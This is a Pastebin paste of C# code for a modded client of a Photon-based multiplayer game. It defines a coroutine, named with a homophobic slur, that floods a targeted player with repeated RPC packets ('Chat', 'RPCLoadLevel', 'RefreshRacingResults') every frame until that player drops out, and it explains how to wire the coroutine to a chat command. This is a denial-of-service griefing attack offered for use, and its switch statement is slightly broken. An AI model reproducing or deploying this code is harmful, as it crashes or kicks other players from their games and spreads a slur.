Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //in FengGameManagerMKII create this Ienum
- public IEnumerator fagremover(PhotonPlayer player, int type, int packets)
- {
- string rpc = string.Empty;
- switch (type)
- {
- case 1:
- rpc = "Chat";
- case 2:
- rpc = "RPCLoadLevel";
- case 3:
- rpc = "RefreshRacingResults";
- }
- while (player != null)
- {
- for (int i = 0; i < packets; i++)
- {
- base.photonVeiw.RPC(rpc, player, 2345324532453f);
- }
- if (player == null)
- {
- yield break;
- }
- yield return new WaitForEndOfFrame();
- continue;
- }
- }
- //Thats more than half the battle, now just make a command in InRoomChat.OnGUI()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement